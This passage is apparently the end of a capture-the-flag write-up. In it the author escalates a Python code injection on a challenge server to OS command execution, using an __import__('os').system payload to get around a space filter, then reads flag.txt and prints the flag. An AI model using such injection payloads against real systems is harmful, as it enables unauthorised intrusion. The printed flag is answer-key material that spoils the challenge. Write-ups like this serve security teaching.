Which then responded with abc123, indicating that we are able to issue commands to the Python server. You can see this on line 7 in the response below.

Response showing we are able to run commands on the server
Response showing we are able to run commands on the server

The next logical step for this vulnerability was to try and extend it to OS command injection, rather than just executing Python scripts. To do this, we would need to use the os module within Python. This presented some issues, as it appeared the standard way (import os; os.system('whoami')) of using the os module was being blocked, I assumed this was most likely due to the spaces within the command being parsed by an HTTP library or similar.

I then found a great blog which covered a very similar CTF challenge, and they used a different method of importing the os module, which avoided the need for any characters which could cause issues. By using the syntax __import__('os').system('ls -la'), we are able to list the contents of the current directory, showing we have RCE on the server.

Response from the server showing we have RCE
Response from the server showing we have RCE

We can now see the flag.txt file, which we can easily view with cat flag.txt, to reveal a flag of CHTB{4li3n5_us3_pyth0n2.X?!}.

Getting the flag from the server
Getting the flag from the server

If you enjoyed this writeup, I have written up several other boxes at this link.